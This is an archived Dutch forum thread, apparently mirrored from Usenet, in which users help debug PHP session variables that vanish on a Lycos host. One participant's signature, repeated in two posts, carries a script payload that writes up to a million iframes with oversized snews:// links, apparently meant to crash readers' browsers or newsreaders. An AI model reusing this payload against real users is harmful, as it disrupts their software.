Likes Likes:  0
Resultaten 1 tot 12 van de 12
Geen
  1. #1
    René Vaessen
    Session op lycos server ?
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Session op lycos server ?

    Ik heb een vreemd probleem ik heb een stuk PHP script dat wel locaal werkt
    (eigen webserver) maar al ik hem upload naar de betaalde Lycos server dan
    niet.

    Ik registreer via een inlog scherm een aantal waardes. In het volgende
    scherm (mogelijke opties voor gebruikers)worden deze waardes uitgelezen en
    dat gaat goed. Als ik vanuit deze pagina de volgende open (b.v. Nieuws) dan
    zijn de de session variabelen ineens niet meer beschikbaar.

    Hert vreemde is locaal geen probleem bij lycos wel.

    Wie weet raad ?
    Groeten,
    René

    Hieronder de relevante delen code

    Toewijzen variabelen
    session_start();
    $_SESSION["login"]='ja';
    $_SESSION["anaam"]=$_POST['naam'];
    if ($admin['admin']==true) $_SESSION["aadmin"]='ja';
    if ($admin['clubrec']==true) $_SESSION["aclubrec"]='ja';
    if ($admin['news']==true) $_SESSION["anews"]='ja';
    if ($admin['news_verw']==true) $_SESSION["anews_verw"]='ja';
    if ($admin['pr']==true) $_SESSION["apr"]='ja';
    if ($admin['gastenboek']==true) $_SESSION["agastenboek"]='ja';
    if ($admin['uitwed']==true) $_SESSION["auitwed"]='ja';
    if ($admin['inschrijf']==true) $_SESSION["ainschrijf"]='ja';

    Uitlezen variabelen 1e pagina (deze werkt)
    session_start();

    if ($_SESSION['login']==TRUE) {

    <h2>Administrators deel voor <?php print $_SESSION['anaam']; ?></h2>
    <?php
    if ($_SESSION['aadmin']=='ja') print "<br><a
    href=admin_ctrl.php?action=bekijk> Admin controlle</a>";
    if ($_SESSION['aclubrec']=='ja') print "<br><a href=clubrec_admin.php>
    Clubrecord adminstratie</a>";
    if ($_SESSION['anews']=='ja') print "<br><a
    href=../nieuws/nieuws_beheer.php> Nieuws beheer</a>";
    if ($_SESSION['apr']=='ja') print "<br>PR beheer</a>";
    if ($_SESSION['agastenboek']=='ja') print "<br>Gastenboek</a>";
    if ($_SESSION['auitwed']=='ja') print "<br><a
    href=../uitwedstrijd/uitwed_beheer.php> Uit wedstrijd beheer</a>";
    if ($_SESSION['ainschrijf']=='ja') print "<br>Inschrijf beheer</a>";
    print "<br><br><a href='index.php?action=loguit'> Uitloggen</a>";

    Uitlezen variabelen 2e pagina (deze werkt niet meer)
    session_start();
    $login_v=$_SESSION['login'];
    $admin_v=$_SESSION['anews'];

    if ($login_v==TRUE) {
    if ($admin_v=='ja') {



  2. #2
    Hans
    Session op lycos server ?
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Session op lycos server ?

    On Tue, 14 Sep 2004 22:29:46 +0200, René Vaessen <rene100m@yahoo.com> wrote:

    > Toewijzen variabelen
    > session_start();
    > $_SESSION["login"]='ja';
    > $_SESSION["anaam"]=$_POST['naam'];

    .....

    > if ($admin['uitwed']==true) $_SESSION["auitwed"]='ja';
    > if ($admin['inschrijf']==true) $_SESSION["ainschrijf"]='ja';
    >
    > Uitlezen variabelen 1e pagina (deze werkt)
    > session_start();
    >
    > if ($_SESSION['login']==TRUE) {


    Ik weet niet zeker of php wel met true kan omgaan. Probeer daar eens

    true

    van te maken.

    ....

    > Uitlezen variabelen 2e pagina (deze werkt niet meer)
    > session_start();
    > $login_v=$_SESSION['login'];
    > $admin_v=$_SESSION['anews'];



    Wat geeft print_r($_SESSION); ?

    Ik merk op sommige distro's en de daarbij geleverde php modules dat
    je soms een session_register(<jouw variabele>) nodig hebt. Volgens mij
    zou dat niet meer hoeven maar wellicht dat het even is te testen (onder
    de session_start() dus). Kan zijn dat ze een oudere php versie draaien.

    Groet,

    Hans
    --
    begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
    document.write("\<iframe
    src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " + i +
    "\"\>\<\/iframe>"); } document.refresh; </script>

  3. #3
    René Vaessen
    Session op lycos server ?
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Session op lycos server ?


    "Hans" <nomailwanted@blacklist.kernelnewbies.nl> schreef in bericht
    news:slrnckem6q.v9i.nomailwanted@e35203.upc-e.chello.nl...
    > On Tue, 14 Sep 2004 22:29:46 +0200, René Vaessen <rene100m@yahoo.com>

    wrote:
    >
    > > Toewijzen variabelen
    > > session_start();
    > > $_SESSION["login"]='ja';
    > > $_SESSION["anaam"]=$_POST['naam'];

    > ....
    >
    > > if ($admin['uitwed']==true) $_SESSION["auitwed"]='ja';
    > > if ($admin['inschrijf']==true) $_SESSION["ainschrijf"]='ja';
    > >
    > > Uitlezen variabelen 1e pagina (deze werkt)
    > > session_start();
    > >
    > > if ($_SESSION['login']==TRUE) {

    >
    > Ik weet niet zeker of php wel met true kan omgaan. Probeer daar eens
    >
    > true
    >
    > van te maken.
    >
    > ...
    >
    > > Uitlezen variabelen 2e pagina (deze werkt niet meer)
    > > session_start();
    > > $login_v=$_SESSION['login'];
    > > $admin_v=$_SESSION['anews'];

    >
    >
    > Wat geeft print_r($_SESSION); ?
    >
    > Ik merk op sommige distro's en de daarbij geleverde php modules dat
    > je soms een session_register(<jouw variabele>) nodig hebt. Volgens mij
    > zou dat niet meer hoeven maar wellicht dat het even is te testen (onder
    > de session_start() dus). Kan zijn dat ze een oudere php versie draaien.
    >
    > Groet,
    >
    > Hans
    > --

    Dag Hans
    print_r($_SESSION); geeft geen variabelen. Nu ben ik aan de slag gegaan om
    de session_id zichtbaar te maken. Om één of andere manier was de session_id
    anders. Ik heb het probleem nu opgelost door de session_id met de url mee te
    sturen en in de gewenste pagina's uit te lezen.

    In iedergeval bedankt voor het meedenken

    Groeten,
    René




  4. #4
    Maarten Wierda
    Session op lycos server ?
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Session op lycos server ?

    René Vaessen wrote:

    > Ik heb een vreemd probleem ik heb een stuk PHP script dat wel locaal werkt
    > (eigen webserver) maar al ik hem upload naar de betaalde Lycos server dan
    > niet.


    <knip>

    > Hert vreemde is locaal geen probleem bij lycos wel.


    Welke PHP versie draai je bij Lycos? En wat staat er bij 'register_globals'?

    Dit kun je overigens achterhalen door een bestandje genaamd
    'phpinfo.php' o.i.d. te uploaden naar je Lycos-server met daarin de
    volgende code:

    <? phpinfo(); ?>

    Succes.


    --
    Cheers,
    Maarten Wierda

    "Look what God did to us man!"

  5. #5
    Hans
    Session op lycos server ?
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Session op lycos server ?

    On Tue, 14 Sep 2004 23:39:25 +0200, René Vaessen <rene100m@yahoo.com> wrote:
    >
    > "Hans" <nomailwanted@blacklist.kernelnewbies.nl> schreef in bericht
    > news:slrnckem6q.v9i.nomailwanted@e35203.upc-e.chello.nl...


    >> > if ($_SESSION['login']==TRUE) {

    >>
    >> Ik weet niet zeker of php wel met true kan omgaan. Probeer daar eens
    >>
    >> true
    >>
    >> van te maken.


    Heb je die nog bekeken? Niet dat het blijkbaar in jouw geval uitmaakt maar
    dat is weer een ander verhaal.

    >> Wat geeft print_r($_SESSION); ?


    .....

    > Dag Hans
    > print_r($_SESSION); geeft geen variabelen. Nu ben ik aan de slag gegaan om
    > de session_id zichtbaar te maken. Om één of andere manier was de session_id
    > anders. Ik heb het probleem nu opgelost door de session_id met de url mee te
    > sturen en in de gewenste pagina's uit te lezen.


    Op zich vreemd. Je hebt je browser wel zo ingestelt dat hij php session
    cookies zal accepteren?

    Hans
    --
    begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
    document.write("\<iframe
    src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " + i +
    "\"\>\<\/iframe>"); } document.refresh; </script>

  6. #6
    Michiel de Roo
    Session op lycos server ?
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Session op lycos server ?

    René Vaessen wrote:
    > Ik heb een vreemd probleem ik heb een stuk PHP script dat wel locaal werkt
    > (eigen webserver) maar al ik hem upload naar de betaalde Lycos server dan
    > niet.
    >
    > Ik registreer via een inlog scherm een aantal waardes. In het volgende
    > scherm (mogelijke opties voor gebruikers)worden deze waardes uitgelezen en
    > dat gaat goed. Als ik vanuit deze pagina de volgende open (b.v. Nieuws) dan
    > zijn de de session variabelen ineens niet meer beschikbaar.
    >
    > Hert vreemde is locaal geen probleem bij lycos wel.
    >
    > Wie weet raad ?


    Er kunnen verschillende oorzaken zijn. Wellicht draait Lycos PHP zonder
    session support. I dat geval moet er --disable-session in je phpinfo()
    staan. Of wellicht wordt de sessie in een directory opgeslagen die bij een
    volgende aanroep niet meer bereikbaar is, bijvoorbeeld omdat deze door een
    andere server wordt afgehandeld. In dat geval kan session_save_path(...)
    uitkomst bieden.

    Het is in elk geval handig even een php file met daarin

    <? phpinfo() ?>

    op de Lycos server te plaatsen en hier de link te posten. Daar is een hoop
    aan te zien namelijk.

  7. #7
    René Vaessen
    Session op lycos server ?
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Session op lycos server ?


    "Michiel de Roo" <yourlove@welovespam.nl> schreef in bericht
    news:4148235e$0$78749$e4fe514c@news.xs4all.nl...
    > René Vaessen wrote:
    > > Ik heb een vreemd probleem ik heb een stuk PHP script dat wel locaal

    werkt
    > > (eigen webserver) maar al ik hem upload naar de betaalde Lycos server

    dan
    > > niet.
    > >
    > > Ik registreer via een inlog scherm een aantal waardes. In het volgende
    > > scherm (mogelijke opties voor gebruikers)worden deze waardes uitgelezen

    en
    > > dat gaat goed. Als ik vanuit deze pagina de volgende open (b.v. Nieuws)

    dan
    > > zijn de de session variabelen ineens niet meer beschikbaar.
    > >
    > > Hert vreemde is locaal geen probleem bij lycos wel.
    > >
    > > Wie weet raad ?

    >
    > Er kunnen verschillende oorzaken zijn. Wellicht draait Lycos PHP zonder
    > session support. I dat geval moet er --disable-session in je phpinfo()
    > staan. Of wellicht wordt de sessie in een directory opgeslagen die bij een
    > volgende aanroep niet meer bereikbaar is, bijvoorbeeld omdat deze door een
    > andere server wordt afgehandeld. In dat geval kan session_save_path(...)
    > uitkomst bieden.


    Lycos draait volgens phpinfo wel sesisons

    >
    > Het is in elk geval handig even een php file met daarin
    >
    > <? phpinfo() ?>
    >
    > op de Lycos server te plaatsen en hier de link te posten. Daar is een hoop
    > aan te zien namelijk.


    http://test.swiftatl.org/phpinfo.php

    Het gekke is dat dat het scherm na de inlog procedure wel over de sessie
    gegevens beschikt maar de volgende pagina is de gegevens kwijt. Ik ben
    erachter gekomen dat bij deze pagina het session_id anders is. Als ik de
    session ID d.m.v get doorstuur naar deze pagina en vertel dat deze ID
    gebruikt moet worden dan werkt het wel.

    groeten,
    René



  8. #8
    René Vaessen
    Session op lycos server ?
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Session op lycos server ?


    "Hans" <nomailwanted@blacklist.kernelnewbies.nl> schreef in bericht
    news:slrnckeq4b.vmf.nomailwanted@e35203.upc-e.chello.nl...
    > On Tue, 14 Sep 2004 23:39:25 +0200, René Vaessen <rene100m@yahoo.com>

    wrote:
    > >
    > > "Hans" <nomailwanted@blacklist.kernelnewbies.nl> schreef in bericht
    > > news:slrnckem6q.v9i.nomailwanted@e35203.upc-e.chello.nl...

    >
    > >> > if ($_SESSION['login']==TRUE) {
    > >>
    > >> Ik weet niet zeker of php wel met true kan omgaan. Probeer daar eens
    > >>
    > >> true
    > >>
    > >> van te maken.


    Dit is geen probleem (hen ik al geprobeerd) zie ook antwoord hieronder.
    >
    > Heb je die nog bekeken? Niet dat het blijkbaar in jouw geval uitmaakt maar
    > dat is weer een ander verhaal.
    >
    > >> Wat geeft print_r($_SESSION); ?

    >


    Niets helemaal niets er worden geen variabelen gevonden doordat de er een
    andere sessie aangroepen wordt.

    > ....
    >
    > > Dag Hans
    > > print_r($_SESSION); geeft geen variabelen. Nu ben ik aan de slag gegaan

    om
    > > de session_id zichtbaar te maken. Om één of andere manier was de

    session_id
    > > anders. Ik heb het probleem nu opgelost door de session_id met de url

    mee te
    > > sturen en in de gewenste pagina's uit te lezen.

    >
    > Op zich vreemd. Je hebt je browser wel zo ingestelt dat hij php session
    > cookies zal accepteren?
    >
    > Hans
    > --
    >

    Daat heb ik ook direct aan gedacht en heb vervolgens de instelling van IE6.0
    zo laag mogelijk ingesteld en dat alle cookies moet worden geacepteerd. Ik
    zal het eens proberen met Opera of zo.

    Groeten ,
    René



  9. #9
    Maarten Wierda
    Session op lycos server ?
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Session op lycos server ?

    René Vaessen wrote:

    >>Het is in elk geval handig even een php file met daarin
    >>
    >><? phpinfo() ?>


    <...>

    > http://test.swiftatl.org/phpinfo.php


    De waarde van register_globals staat op Off. Dit betekent dat je
    sessie-variabelen anders moet aanspreken.

    Sessie-variabelen aanmaken kan via session_register() en deze vars
    controleren kan via session_is_registered().

    Zie <http://nl.php.net/manual/en/ref.session.php> voor meer info.


    --
    Cheers,
    Maarten Wierda

    "Look what God did to us man!"

  10. #10
    Daniel Tryba
    Session op lycos server ?
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Session op lycos server ?

    Maarten Wierda <maartenAT@norecessdot.com> wrote:

    [http://test.swiftatl.org/phpinfo.php]
    > De waarde van register_globals staat op Off. Dit betekent dat je
    > sessie-variabelen anders moet aanspreken.


    grappig, volgens de output die ik krijg staan dat op On.

    > Sessie-variabelen aanmaken kan via session_register() en deze vars
    > controleren kan via session_is_registered().
    >
    > Zie <http://nl.php.net/manual/en/ref.session.php> voor meer info.


    Geweldige tip... als je de manual voor session_register
    (http://nl.php.net/manual/en/function...n-register.php) dan ook even
    leest....

    <q>
    Caution

    If you want your script to work regardless of register_globals, you need
    to instead use the $_SESSION array as $_SESSION entries are
    automatically registered. If your script uses session_register(), it
    will not work in environments where the PHP directive register_globals
    is disabled.
    </q>

    het gebruik van de archaische functie session_register() is dan ook
    sterk af te raden in versies van PHP 4.1.x+.

    --

    Daniel Tryba


  11. #11
    Maarten Wierda
    Session op lycos server ?
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Session op lycos server ?

    Daniel Tryba wrote:

    [http://test.swiftatl.org/phpinfo.php]

    >>De waarde van register_globals staat op Off. Dit betekent dat je
    >>sessie-variabelen anders moet aanspreken.

    >
    > grappig, volgens de output die ik krijg staan dat op On.


    Inderdaad. Waarschijnlijk heb ik verkeerd gekeken.

    >>Sessie-variabelen aanmaken kan via session_register() en deze vars
    >>controleren kan via session_is_registered().
    >>
    >>Zie <http://nl.php.net/manual/en/ref.session.php> voor meer info.

    >
    > Geweldige tip... als je de manual voor session_register
    > (http://nl.php.net/manual/en/function...n-register.php) dan ook even
    > leest....


    <snip, wel gelezen>

    > het gebruik van de archaische functie session_register() is dan ook
    > sterk af te raden in versies van PHP 4.1.x+.


    Duidelijk, weer wat geleerd.

    Wat zou dan wel het probleem van de OP kunnen zijn?


    --
    Cheers,
    Maarten Wierda

    "Look what God did to us man!"

  12. #12
    Daniel Tryba
    Session op lycos server ?
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Session op lycos server ?

    Maarten Wierda <maartenAT@norecessdot.com> wrote:
    >
    > Wat zou dan wel het probleem van de OP kunnen zijn?
    >


    Het probleem is toch al opgelost door het sessionid via de URL mee te
    geven!

    --

    Daniel Tryba


Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics